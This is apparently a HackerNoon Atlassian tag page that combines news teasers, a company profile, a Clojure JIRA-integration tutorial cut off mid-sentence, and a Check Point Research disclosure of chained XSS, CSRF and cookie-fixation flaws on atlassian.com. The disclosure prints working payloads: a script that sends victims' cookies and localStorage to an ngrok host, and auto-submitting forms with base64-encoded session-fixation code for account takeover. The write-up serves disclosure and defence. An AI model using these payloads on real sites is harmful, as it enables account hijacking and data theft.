Australian software giant Atlassian has warned of a critical security flaw that could lead to "significant data loss” for customers, just weeks after state-backed hackers targeted its products. In an advisory this week,

Atlassian urges customers to take 'immediate action' to protect against data-loss security bug

Atlassian’s IT Service Management platform becomes the latest member in the company’s product portfolio to benefit from its AI offering, Atlassian Intelligence.

Jira Service Management gains AI-powered ITSM capabilities

Brazilian banking-as-a-service startup QI Tech has raised $200 million in a Series B round of funding led by New York-based General Atlantic. Founded in 2018 by Pedro Mac Dowell, Marcelo Bentivoglio and Marcelo Buosi,

Brazilian fintech QI Tech lands $200M led by General Atlantic

The US International Trade Commission (ITC) has upheld a judge’s earlier ruling that the Apple Watch violated patents from medical technology company Masimo. The ITC’s order could theoretically lead to a ban,

ITC rules against Apple in patent dispute, setting up potential ban

Looking at the full year, the Zacks Consensus Estimates suggest analysts are expecting earnings of $2.12 per share and revenue of $4.11 billion. These totals would mark changes of +10.42% and +16.19%, respectively, from last year.

Atlassian (TEAM) Declines More Than Market: Some Information for Investors

The North Dakota governor and longtime entrepreneur says his White House would embrace the efficiencies of A.I.North Dakota governor Doug Burgum, a Republican, said he will use artificial intelligence to make the federal government more efficient if elected president.

Exclusive: How Republican Candidate Doug Burgum Would Use Artificial Intelligence as President

Atlassian (TEAM) is experiencing remarkable growth, driven by rising demand for its cloud-based solutions and sustained focus on strengthening its product portfolio through acquisitions and partnerships.

Atlassian (TEAM) Gains From Digital Transformation & Buyouts

Several tech companies are offering summer internships for 2024, and we've put together a list that you wouldn't want to miss

9 Must Apply Summer Internship Programs for 2024

In this article, I will delve into whether artificial intelligence (AI), particularly the emergence of tools like generative AI (GenAI), will replace classical software outsourcing as we know it.

AI vs software outsourcing: An opportunity or a threat?

Even the biggest tech giants are still hiring for remote positions, and we've rounded up the best ones open this month.

Fully Remote Jobs You Can Apply for in October

Get the most recent info and news about ATLASSIAN on HackerNoon, where 10k+ technologists publish stories for 4M+ monthly readers.

Atlassian Corporation Plc, through its subsidiaries, designs, develops, licenses, and maintains various software products worldwide. It provides project tracking, content creation and sharing, and service management products. The company's products include JIRA, a workflow management system that enables teams to plan, organize, track, and manage their work and projects; Confluence, a content collaboration platform that is used to create, share, organize, and discuss projects; and Trello, a collaboration and organization product, which captures and adds structure to fluid fast-forming work for teams. Its products also comprise Bitbucket, a code management and collaboration product for teams using distributed version control systems; and Jira Service Desk, a service desk product for creating and managing service experiences for various service team providers, including IT, legal, and HR teams. In addition, the company offers Opsgenie, an incident management tool that enables IT teams to plan for and respond to service disruptions; Jira Align that enables enterprise organizations build and manage a master plan that maps strategic projects to the various work streams required to deliver them; and other tools comprising Atlassian Access, Bamboo, Crowd, Crucible, Fisheye, Jira Portfolio, Sourcetree, and Statuspage. Atlassian Corporation Plc was founded in 2002 and is headquartered in Sydney, Australia.

ATLASSIAN

Research By: Dikla Barda, Yaara Shriki, Roman Zaikin and Oded Vanunu Background With more than 180,000 customers globally, and millions of users, the Australian 2002 founded company “Atlassian” develops products for software developers, project managers and other software related teams that use the platform for data collaboration and information sharing. While workforces globally turned to remote work as a result of the outbreak of COVID-19, tools such as the ones offered by Atlassian became more popular and critical for teams while the need for a seamless transition to a new work mode became a global necessity. Atlassian, referring to this as “The Rise of Work Anywhere”, conducted about the nature of remote work during the Pandemic. The study surveyed more than 5,000 participants in Australia, France, Germany, Japan, and the US, and shows how the nuances of modern work have been amplified, demanding a shift in the way organizations manage an increasingly distributed workforce. research Breaking on through the Platform On November 16, 2020 Check Point Research (CPR) uncovered chained vulnerabilities that together can be used to take over an account and control some of Atlassian apps connected through SSO, Some of the affected domains are: jira.atlassian.com confluence.atlassian.com getsupport.atlassian.com partners.atlassian.com developer.atlassian.com support.atlassian.com training.atlassian.com What makes a supply chain attack such as this one so significant is the fact that once the attacker leverages these vulnerabilities and takes over an account, he can plant backdoors that he can use in the future for his attack. This can create a severe damage which will be identified and controlled only much after the damage is done. Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms Deep Dive Atlassian uses SSO (Single Sign-On) to navigate between Atlassian products such as JIRA, Confluence and Partners. Atlassian implements various web security measures such as CSP, SameSite “Strict” cookies and HttpOnly cookies. We had to bypass these security methods using a combination of several attack techniques. Overall we were able to achieve Full Account Take-Over. First, we had to find a way to inject code into Atlassian – which we used the XSS and CSRF for. Then, using this code injection, we were able to add a new session cookie to the user’s account, and by combining the session fixation vulnerability in Atlassian domains, we were able to take over accounts. Let us dive in into the first bug we found: XSS The first security issue was found on the subdomain . The Training platform offers users courses or credits. We noticed that the Content Security Policy (CSP) was configured poorly on this subdomain with ‘unsafe-inline’ and ‘unsafe-eval’ directives which allows script execution. This makes this subdomain a perfect starting point for our research training.atlassian.com We examined the request parameters when adding courses and credits to the shopping cart. We found that when the item type is “ ”, an additional parameter called “ ” is added to request. This parameter was found vulnerable to XSS. training_credit options._training_credit_account Let’s test a simple payload to receive all of the user’s cookies and local storage: "><svg/onload="window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`"> It works! And we received all the cookies and the local storage of the target: CSRF Since the Stored XSS can only be run when adding items to the shopping cart, we needed to make the user add a malicious item without their notice. Then, because there is no CSRF token we could perform CSRF attack on the shopping list and execute our payload. In order to achieve that, we uploaded the following POC to our servers and sent it to the victim: <html>

  <head></head>

  <body onload=”document.forms[0].submit()”>

    <form method=”post” action=”https://training.atlassian.com/cart”>

        <input type=”hidden” name=”itemType” value=’training_credit’>

        <input type=”hidden” name=”itemId” value=’1′>

        <input type=”hidden” name=”options._quantity” value=’10’>

        <input type=”hidden” name=”options._training_credit_account” value=''> 
        <svg/onload=”window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`”>’>

        <input type=”hidden” name=”action” value=’add’>

    </form>

  </body>

</html> However, some of the cookies related to the session of the victim are set to SameSite “Strict” which means the browser prevents them from being sent to the backend. Surprisingly, we found that during the SSO process those missing cookies are completed by the backend which will essentially bypass the SameSite “Strict” for us. SameSite “Strict” Bypass We will now describe the SSO flow. We start with the XSS payload from our origin : https://7a4389292a5d.ngrok.io During the SSO flow, the user gets redirected several times to different paths, such as: /auth/cart ,login.html, etc. Throughout the redirect process, the user goes through the authentication process, which adds the missing cookies that we needed and were protected by SameSite. Because our payload was Stored XSS it was stored in the database and was added to the Shopping List. Here we can see that the payload was injected successfully into the page: And the malicious item was added to the shopping cart: At this step we bypassed SameSite “Strict” for CSRF and CSP with inline JavaScript. However, the more interesting cookie is which is protected by “ ” and we can’t hijack it via JavaScript. JSESSIONID HttpOnly At this point we can perform actions on behalf of the user but not login to his account. We dived in further into the SSO flow in order to find another flaw in the process. HTTPOnly Bypass and Cookie Fixation What is cookie fixation? Cookie Fixation is when an attacker can remotely force the user to use a session cookie known to him, which becomes authenticated. Initially, when the user browses to the login page, the server generates a new session cookie with ‘path=/’ flag. That cookie isn’t associated with any account and only after the user passes the authentication process that same cookie will be associated to his account. We knew that using the XSS we couldn’t get the user’s session cookie, since it was protected by HTTPOnly flag. Instead, we could create a new forged one. The newly created JSESSION cookie has the same flags as the original, with one major change – the path flag. The original path flag is set to the root directory. We were wondering what would happen if we change it to a more a particular path. It turns out that our path will have priority since it is more specific and will be used instead of the original. We changed the path to the exact directive we know the user will get redirected to after authentication which causes the backend to authorize our cookie over the original one. By using cookie fixation, we bypassed the HTTPOnly and hijacked the user’s Atlassian account. We will demonstrate that on the following subdomains: Training.atlassian.com We started by navigating to the URL from a clean browser without any cache to get a new clean cookie. training.atlassian.com JSESSIONID Now, we have a JSESSIONID without any information in it at the backend. If we will send a request to the user profile page we will be redirected to the login page. We will now perform a Cookie Fixation on the target which will force him to use the forged Cookie by using the following steps: We start by modifying our payload and adding the following cookie: document.cookie = "JSESSIONID= 5B09C73BF13FE923A2E5B4EE0DAD30E3; 
Domain=training.atlassian.com; Path=
/auth0; Secure” Note that the original HttpOnly cookie was set for the path “/”, but the new cookie we are setting in the payload is for the path “/auth0”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s more specific. We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the which will force the authentication for : “redirect_uri=https://training.atlassian.com/auth0” training.atlassian.com location.href="https://atlassianuni-learndot.auth0.com/authorize? redirect_uri=https://training.atlassian.com/auth 0&client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&scope=openid%20profile%20email&response_type=code&state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk" This auth request will associate our cookie to the target account. So now that we can control the , we combined all of this steps and crafted the following payload: JSESSIONID <html>

  <head></head>

  <body onload=”document.forms[0].submit()”>

    <form method=”post” action=”https://training.atlassian.com/cart”>

        <input type=”hidden” name=”itemType” value=’training_credit’>

        <input type=”hidden” name=”itemId” value=’1′>

        <input type=”hidden” name=”options._quantity” value=’10’>

        <input type=”hidden” name=”options._training_credit_account” value=''>
        <svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTVCMDlDNzNCRjEzRkU5MjNBMkU1QjRFRTBEQUQzMEUzOyBEb21haW49dHJhaW5pbmcuYXRsYXNzaWFuLmNvbTsgUGF0aD0vYXV0aDA7IFNlY3VyZSI7IHNldFRpbWVvdXQoZnVuY3Rpb24oKXsgbG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9hdGxhc3NpYW51bmktbGVhcm5kb3QuYXV0aDAuY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHM6Ly90cmFpbmluZy5hdGxhc3NpYW4uY29tL2F1dGgwJmNsaWVudF9pZD1PN0ZkSFk2NDdWdmJDVHBoQkdtdmZCdDJHZGduSDdNUiZhdWRpZW5jZT1odHRwcyUzQSUyRiUyRmF0bGFzc2lhbnVuaS1sZWFybmRvdC5hdXRoMC5jb20lMkZ1c2VyaW5mbyZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwZW1haWwmcmVzcG9uc2VfdHlwZT1jb2RlJnN0YXRlPUh4RWxwUHlTc3JSdUtjWWJGT2xwOVFrTFpRN2t3RE9lbVg3RGMtNWRubGsiIH0sMzAwMCk7`)”>’>

        <input type=”hidden” name=”action” value=’add’>

    </form>

  </body>

</html>
<!–

// Payload  Explain
btoa(‘    document.cookie=”JSESSIONID=5B09C73BF13FE923A2E5B4EE0DAD30E3; 
Domain=training.atlassian.com; Path=/auth0; Secure”; setTimeout(function()
{ location.href=”https://atlassianuni-learndot.auth0.com/authorize?redirect_uri=
https://training.atlassian.com/auth0&client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&
audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&scope=openid%20profile
%20email&response_type=code&state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk” },3000);     ‘)

–> The Cookie Fixation combined with the XSS and CSRF bugs allowed us to perform full Account Take-Over on Atlassian Training Platform. With the same flow and Cookie Fixation we can navigate to other Atlassian products, for example, jira.atlassian.com. Jira.atlassian.com To hijack Jira accounts with the same flow, we first need to create a session cookie to perform Cookie Fixation. We log in to and take the following cookies: jira.atlassian.com JSESSIONID AWSALB In order to use these cookies for the Cookie Fixation the attacker needs to sign-out from his account to get clean JSESSIONID. We can verify that the cookie is not associated with any account anymore by sending a request to ViewProfile: Next, we will modify our payload, we will perform the same method as we did in training.atlassian.com: document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;” document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;” Note that the original HTTPOnly cookie was set for the path “/”, but the new cookie we are setting is for the path “/plugins”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s a path cookie. We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the “redirect_uri=https://jira.atlassian.com/plugins” which will force the authentication for jira.atlassian.com and redirect us to /plugins. . This auth request will associate our cookie to the target account. location.href=”https://auth.atlassian.com/authorize?redirect_uri=https://jira.atlassian.com/plugins/servlet/authentication/auth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none” As can be seen in the following request, the cookie is now assosiated to the target user (“John Doe” in this case). So now that we can control the , we combined all of this steps and crafted the following payload: JSESSIONID <html>

<head></head>

<body onload=”document.forms[0].submit()”>

<form method=”post” action=”https://training.atlassian.com/cart”>

<input type=”hidden” name=”itemType” value=’training_credit’>

<input type=”hidden” name=”itemId” value=’1′>

<input type=”hidden” name=”options._quantity” value=’10’>

<input type=”hidden” name=”options._training_credit_account” value='”><svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTE2NzI4ODVDM0Y1RTQ4MTlERDRFRjBCRjc0OUU1NkM5OyBEb21haW49LmF0bGFzc2lhbi5jb207IFBhdGg9L3BsdWdpbnM7IFNlY3VyZTsiOyAgZG9jdW1lbnQuY29va2llPSJBV1NBTEI9aUF2NlZLVDV0YnUvSEZKVnV1L2RURTdSODB3UVhOalIrMG9wVmJjY0UweklhZE9SSlZHTVp4Q1VjVElnbEwzT1ovQTU0ZXUvTkROTFA1STN6RStXY2dHV0RIcHYxN1NleGpGQmMxV1lBOW1vQzR3RW1Qb29FRS9VcW9vMjsgRG9tYWluPS5hdGxhc3NpYW4uY29tOyBQYXRoPS9wbHVnaW5zLzsgU2VjdXJlOyI7ICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7IGxvY2F0aW9uLmhyZWY9Imh0dHBzOi8vYXV0aC5hdGxhc3NpYW4uY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZqaXJhLmF0bGFzc2lhbi5jb20lMkZwbHVnaW5zJTJGc2VydmxldCUyRmF1dGhlbnRpY2F0aW9uJTNGYXV0aF9wbHVnaW5fb3JpZ2luYWxfdXJsJTNEaHR0cHMlMjUzQSUyNTJGJTI1MkZqaXJhLmF0bGFzc2lhbi5jb20lMjUyRiZjbGllbnRfaWQ9UXhVVmg5dFR1Z29MQzVjZ1kzVmprejNoMWpQU3ZHOXAmc2NvcGU9b3BlbmlkK2VtYWlsK3Byb2ZpbGUmc3RhdGU9NDExOGY1N2YtYTlkOS00ZjZkLWExZDUtYWRkOTM5NzYyZjIzJnJlc3BvbnNlX3R5cGU9Y29kZSZwcm9tcHQ9bm9uZSIgfSwzMDAwKTs=`);”>’>

<input type=”hidden” name=”action” value=’add’>

</form>

</body>

</html>

<!–
// Payload

btoa(‘

document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;”;

document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;”;

setTimeout(function(){

location.href=”https://auth.atlassian.com/authorize?redirect_uri=https%3A%2F%2Fjira.atlassian.com%2Fplugins%2Fservlet%2Fauthentication%3Fauth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none”

},3000);

‘);
–> The Cookie Fixation combined with the XSS and CSRF bugs from allowed us to perform full Account Take-Over on training.atlassian.com Jira.atlassian.com Bitbucket Another direction we looked into was checking if we could inject malicious code to an Organization’s Bitbucket. Bitbucket is a Git-based source code repository hosting service owned by Atlassian and has more than 10 million users. Accessing a company’s Bitbucket repositories could allow attackers to access and change source code, make it public or even plant backdoors. With a Jira account at our hands, we have a few ways to obtain Bitbucket account. One option is by opening a Jira ticket with malicious link to an attacker controlled website. An automatic mail will be sent from Atlassian domain to the user once the ticket is created on Jira systems. An attacker can take advantage of that and include in the ticket a link to a malicious website that steals the user’s credentials. Conclusion By using the XSS with CSRF that we found on combined with the method of Cookie fixation we were able to take over any Atlassian account, in just one click, on every subdomain under atlassian.com that doesn’t use JWT for the session and that is vulnerable to session fixation . For example: training.atlassian.com, jira.atlassian.com, developer.atlassian.com and more. training.atlassian.com Taking over an account in such a collaborative platform means an ability to take over data that is not meant for unauthorized view. Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms. You can have a look at . the POC video here

How a Supply-Chain Breach Put at Risk Atlassian Accounts

is the market leading issue-tracking and agile project management tool, and is in heavy use at companies around the globe. Atlassian JIRA For I wanted to build a slick integration to to help my customers to search their JIRA issues alongside their Slack messages, Trello cards, files, GitHub issues and emails. CTX, my team search app JIRA When it came to actually building the integration, I was pleasantly surprised by the , and especially the and the simple integration patterns it promotes. APIs available Atlassian Connect API While there’s — and even a short , I couldn’t find a single, simple tutorial that covered Connect, the webhook interface and the main API in one place. lots of documentation blog series about integrating Bitbucket with a Clojure application JIRA So I wrote one. . The full source of the application we’re building is available on GitHub here What are we building? We’re going to build a JIRA integration in Clojure, that listens for issues being created and mutated and creates a basic activity feed of changes. To do this, we need a Clojure web application, listening on an HTTPS endpoint.  We’ll register the application with JIRA, and every time a user creates or updates a ticket, JIRA will send us an event on a Webhook. We’ll record these in an in-memory database, and write a little front-end application that polls our app to display a list of changes to issues. What is Atlassian Connect? Connect provides a simple framework for integrating with Atlassian applications like JIRA and Confluence. It leverages OAuth2 and JWT, along with some simple integration patterns, to give developers a nice and consistent way to talk to the Atlassian API suite. In its’ most basic form, all you need to do is publish a Descriptor listing the endpoints you provide and the services you require, point your Atlassian application at it, and then deploy some code on the listed endpoints that talks HTTP / JSON. Pre-conditions First, install , and make sure it’s in your PATH.  And get yourself a Java JDK if you haven’t got one. Leiningen Check it all works: $ lein --versionLeiningen 2.8.1 on Java 9.0.4 Java HotSpot(TM) 64-Bit Server VM Basic project setup Let’s create a basic Clojure app skeleton using the . Compojure template $ lein new compojure connect-example$ cd connect-example$ ls-rw-r--r--  1 rory  Users  273 20 Mar 16:21 README.md-rw-r--r--  1 rory  Users  483 20 Mar 16:21 project.cljdrwxr-xr-x  3 rory  Users  102 20 Mar 16:21 resources  drwxr-xr-x  3 rory  Users  102 20 Mar 16:21 src  drwxr-xr-x  3 rory  Users  102 20 Mar 16:21 test$ lein ring server-headlessRetrieving lein-ring/lein-ring/0.9.7/lein-ring-0.9.7.pom from clojars  ...2018-03-20 16:24:40.501:INFO:oejs.Server:jetty-7.6.13.v20130916  2018-03-20 16:24:40.550:INFO:oejs.AbstractConnector:Started SelectChannelConnector@0.0.0.0:3000 In a second tab, use to test it's running: curl $ curl http://localhost:3000Hello World Great! We’ve got a running app. Import basic dependencies Now we need to add some libraries to our Clojure project to let us do the basics of HTTP comms, the Connect flow and so on. Open up the file in an editor of your choice, and make it look like this: project.clj (defproject connect-example "0.1.0-SNAPSHOT"  :min-lein-version "2.0.0"  :dependencies [[org.clojure/clojure "1.9.0"]                 [compojure "1.6.0"]                 [ring/ring-defaults "0.3.1"]                 [ring/ring-json "0.4.0"]                 [clj-connect "0.2.4"]]  :plugins [[lein-ring "0.9.7"]]  :ring {:handler connect-example.handler/app}  :resource-paths ["resources"]  :profiles  {:dev {:dependencies [[javax.servlet/servlet-api "2.5"]                        [ring/ring-mock "0.3.0"]]}}) The libraries in the clause give us HTTP serving ( ), routing ( ) and a simple wrapper around the Atlassian Connect API & underlying JWT technology ( ) :dependencies ring compojure clj-connect Connecting to JIRA JIRA will only talk to our application over HTTPS, so the first hurdle is how to get it on the internet. Without setting up a server, or using something like Heroku, this can be annoyingly time consuming, so here’s a simple way round it: . ngrok ngrok lets you create an externally accessible SSL endpoint to test your integration software. You just run it like this; $ ngrok tls 3000ngrok by @inconshreveable    Session Status                online  Account                       Rory Gibson  Version                       2.2.8  Region                        United States (us)  Web Interface                 http://127.0.0.1:4040  Forwarding                    http://9a69173f.ngrok.io -> localhost:3000  Forwarding                    https://9a69173f.ngrok.io -> localhost:3000Connections                   ttl     opn     rt1     rt5     p50     p90                                0       0       0.00    0.00    0.00    0.00 and it will create a tunnel, and give you a URL — e.g. - you can use to access your software, running on your development machine but accessible over SSL on the internet. https://9a69173f.ngrok.io Now that we have a service that’s discoverable externally, we can generate our OAuth credentials in JIRA. Serving the Descriptor Now we’ve got all the plumbing sorted, we can serve up the Connect Descriptor. This is a simple JSON file that declares the application’s capabilities and dependencies, so that JIRA (and other Atlassian applications) know how to talk to it. Create a file at and paste the following content into it (ensure that the baseUrl property matches your ngrok URL): <project>/resources/public/connect.json {    "key": "connect-example",    "name": "connect-example",    "description": "Demo JIRA / Clojure integration",    "baseUrl": "https://9a69173f.ngrok.io",    "authentication": {        "type": "jwt"    },    "lifecycle": {        "installed": "/installed"    },    "modules": {        "oauthConsumer": {            "clientId": "PLACEHOLDER"        },        "webhooks": [            {                "event": "*",                "url": "/recv"            }        ]            },    "scopes": ["READ"]} Handling lifecycle callbacks The Connect API works by loading your descriptor, then making a call to on your app as a "lifecycle callback" (there are others, like Uninstalled, that we're ignoring here). /installed All it wants is a 200 response. We’ll use Compojure and Ring to create a simple handler that serves this function (and provides basic API plumbing) (ns connect-example.handler  (:require [compojure.core :refer :all]            [compojure.route :as route]            [ring.middleware.defaults :refer [wrap-defaults api-defaults]]            [ring.middleware.json :refer [wrap-json-body wrap-json-response]]            [ring.util.response :refer [response]]))(defroutes app-routes  (POST "/installed" [] {:status 200 :body "OK"}))(def app  (-> app-routes    wrap-json-body    wrap-json-response    (wrap-defaults api-defaults))) Now that we have this much, we can wire it up to JIRA in the Cloud. Save everything and restart the app ( ) lein ring server-headless Go and login to your JIRA instance and click (the cog icon) . Settings > Add-Ons Go to the tiny link at the bottom of the page. Settings and ensure that and are both ticked. Enable development mode Enable private listings Now you should see a link to — click this and paste in the fully-qualified URL to your descriptor (e.g. ) Upload add-on HTTPS https://abcd1234.ngrok.com/connect.json Handling events Once Connect has hooked up to your app, you’ll start receiving the events we specified in the Descriptor whenever they occur.  All we need is some handlers and some logic on our side. Add 2 routes to the routing block — one for JIRA to call when an event happens, and one for us to call to list events. (POST "/recv" req (recv req))(GET "/events" req (response (events req))) and the functions for them to call. gets the payload, extracts the data we want and stores it in an in the server (instead of a DB, this is only a demo :) recv atom (def event-store (atom '()))(defn persist!  "Save event to local in-memory structure"  [e]  (swap! event-store conj e)  (println e) ;; debug info for development  e)(defn transform  "Get the fields we care about from the JIRA payload"  [e1]  (let [id        (-> e1 :issue :key)        user      (-> e1 :user :displayName)        timestamp (-> e1 :timestamp)        type      (-> e1 :webhookEvent)        summary   (-> e1 :issue :fields :summary)]    {:user user :id id :timestamp timestamp :summary summary :type type}))(defn handle-event  [raw]  (-> raw    clojure.walk/keywordize-keys    transform    persist!))(defn events  [_]  @event-store)(defn recv  "Handler function for all events"  [req]  (handle-event (:body req))  {:status 200 :body "OK"}) Restart your app Hit then again. Ctrl-C lein ring server-headless If you change an Issue in your JIRA (say by moving it from To Do to Done in the agile view) you should see some output in your terminal as JIRA calls our app and we save the data, and dump it to screen with the above. println Hit the endpoint to check we're saving the data and you should see something like this: /events $ curl http://localhost:3000/events[{"summary":"My issue 1,"timestamp":1521891438142,"type":"jira:issue_updated","id":"TEST-1"}] Adding a UI That’s great! We have an inbound and outbound API.  But most non-developers don’t like to use for everything, so we'd better add a UI. curl We’ll build something in ClojureScript, so that we can use the same paradigms and dialect across front and back-end codebases. $ mkdir -p src/clj$ mv src/connect-example src/clj$ mkdir -p src/cljs/connect-example$ touch resources/public/index.html Now edit your to the following (pulling in the new directories and adding the ClojureScript libraries and build configuration) project.clj (defproject connect-example "0.1.0-SNAPSHOT"  :min-lein-version "2.0.0"  :dependencies [[org.clojure/clojure "1.9.0"]                 [org.clojure/clojurescript "1.10.217"]                 [compojure "1.6.0"]                 [ring/ring-defaults "0.3.1"]                 [ring/ring-json "0.4.0"]                 [rum "0.11.2"]                 [clj-connect "0.2.4"]                 [cljs-ajax "0.7.3"]]  :plugins [[lein-ring "0.9.7"]            [lein-figwheel "0.5.13"]]  :source-paths ["src/clj"]  :resource-pahts ["resources" "target/cljsbuild"]  :ring {:handler connect-example.handler/app}  :profiles  {:dev {:dependencies [[javax.servlet/servlet-api "2.5"]                        [ring/ring-mock "0.3.2"]]}}  :clean-targets ^{:protect false} [:target-path "out" "resources/public/cljs"]  :figwheel {:css-dirs ["resources/public/css"]             :server-port 3000             :ring-handler connect-example.handler/app}  :cljsbuild {              :builds [{:id "dev"                        :source-paths ["src/cljs"]                        :figwheel true                        :compiler {:main "connect-example.core"                                   :asset-path "cljs/out"                                   :output-to  "resources/public/cljs/main.js"                                   :output-dir "resources/public/cljs/out"}                        }]              }) Create and fill in your resources/public/index.html <!DOCTYPE html>  <html>    <head></head>  <body>    <div id="content"></div>    <script src="app.js" type="text/javascript"></script>  </body></html> and ... src/cljs/connect-example/core.cljs (ns connect-example.core)(let [el (.getElementById js/document "content")]  (set! (.-innerText el) "Hello World")) Which will, when it’s loaded, find the with ID and put an informative message into it. div content Now let’s try to run it, using the ; awesome Figwheel plugin $ lein figwheelRetrieving figwheel/figwheel/0.5.13/figwheel-0.5.13.pom from clojars  Retrieving org/clojure/core.async/0.3.443/core.async-0.3.443.pom from central  ...Figwheel: Validating the configuration found in project.clj  Spec Warning:  missing an :output-to option - you probably will want this ...  Figwheel: Configuration Valid ;)  Figwheel: Starting server at http://0.0.0.0:3449  Figwheel: Watching build - dev  Figwheel: Cleaning build - dev  Figwheel: Starting server at http://0.0.0.0:3449  Figwheel: Watching build - dev  Compiling "main.js" from ["src/cljs"]...  Successfully compiled "main.js" in 1.95 seconds.  Launching ClojureScript REPL for build: dev  Figwheel Controls:            (stop-autobuild)                ;; stops Figwheel autobuilder          (start-autobuild [id ...])      ;; starts autobuilder focused on optional ids          (switch-to-build id ...)        ;; switches autobuilder to different build          (reset-autobuild)               ;; stops, cleans, and starts autobuilder          (reload-config)                 ;; reloads build config and resets autobuild          (build-once [id ...])           ;; builds source one time          (clean-builds [id ..])          ;; deletes compiled cljs target files          (print-config [id ...])         ;; prints out build configurations          (fig-status)                    ;; displays current state of system          (figwheel.client/set-autoload false)    ;; will turn autoloading off          (figwheel.client/set-repl-pprint false) ;; will turn pretty printing off  Switch REPL build focus:          :cljs/quit                      ;; allows you to switch REPL to another build    Docs: (doc function-name-here)    Exit: Control+C or :cljs/quit Results: Stored in vars *1, *2, *3, *e holds last exception objectPrompt will show when Figwheel connects to your application Load up a browser tab pointed to and you should see, in your browser, the message "Hello World". http://localhost:3000 Hello World Some React magic ClojureScript web development is heavily focussed on the React ecosystem. Several React bindings exist; one of the easiest to get started with is . Rum Add the following to the key in your : :dependencies project.clj [cljs-ajax "0.7.3"][rum "0.11.2"] Modify so it includes the for Rum and a component definition (which creates a React component under the hood), then mounts it on the document body. core.cljs require (ns connect-example.core  (:require [rum.core :as rum :refer [defc mount]))(defc label [text]  [:div {:class "label"} text])(mount (label "Hello again") js/document.body) Restart Figwheel (Ctrl-C in your terminal then again) and refresh your browser, and that's it - you're seeing a React rendered application! lein figwheel A simple list-based UI Now we have the basic structure to put a React UI on screen, let’s fill it in with something that’s actually useful. To match the wireframe above, we’ll have an H1 for the title: (defc heading []  [:h1 "JIRA Activity Feed"]) And a component to iterate over a list of JIRA issues — so we’ll call the display of each result an “issue”. We’ll create some dummy data to render initially, too. (defc issue  [{:keys [id summary type timestamp] :as issue}]  [:div.issue   [:div.id id]   [:div.info    [:div.title summary]    [:div.detail type]    [:div.date timestamp]]])(defc issues  [is]  [:div.issues   (map issue is)])(def fake-issues '({:id "FOO-1" :summary "The Title" :type "jira:issue_updated" :timestamp 123456789}))(defc content  [data]  [:div.container   (heading)   (if data     (issues data)     [:div "No activity found in feed."])])(mount (content fake-issues) (.getElementById js/document "content")) Save everything and reload your browser and you should see a very basic list and title. It could probably do with some styling, so let’s tweak our as follows: index.html <!DOCTYPE html>  <html>    <head>    <link rel="stylesheet" href="/site.css" />  </head>  <body>    <div id="content"></div>    <script src="cljs/main.js" type="text/javascript"></script>  </body></html> Create a file with some simple styles: resources/public/css/site.css body {    font-family: sans-serif;}.container {  margin-left: auto;  margin-right: auto;  padding-top: 30px;  width: 800px;}div.issue {    font-size: 16px;  width: 600px;  border: solid black 1px;  padding: 1em;  margin-bottom: 1em;}.issue .id {  font-weight: bold;  float: left;  width: 75px;  height: 50px;  text-align: center;  padding: 1em .5em 0 0;}.issue .info {  height: 100%;}.issue .summary {  font-weight: bold;  padding-bottom: 0.5em} Restart again and reload and everything should be perfect. lein figwheel NB: once you get to this stage, Figwheel’s most awesome benefit kicks in — hot auto-reload of ClojureScript and CSS files. Just save in your editor and the browser updates on its’ own! AJAX comms Now let’s get the UI to query the server side for our JIRA information… Add a new so the top of looks like this: require core.cljs (ns connect-example.core  (:require [rum.core :as rum]            [ajax.core :refer [GET]])) and then let’s add a function to fetch and display the data (and actually call that function to do the display) Remove the existing form and add this to the end of : mount core.cljs (defn handler [data]  (mount (content data) (.getElementById js/document "content")))(fetch-issues handler) Finally, let’s get the browser app to poll the server every 5 seconds to 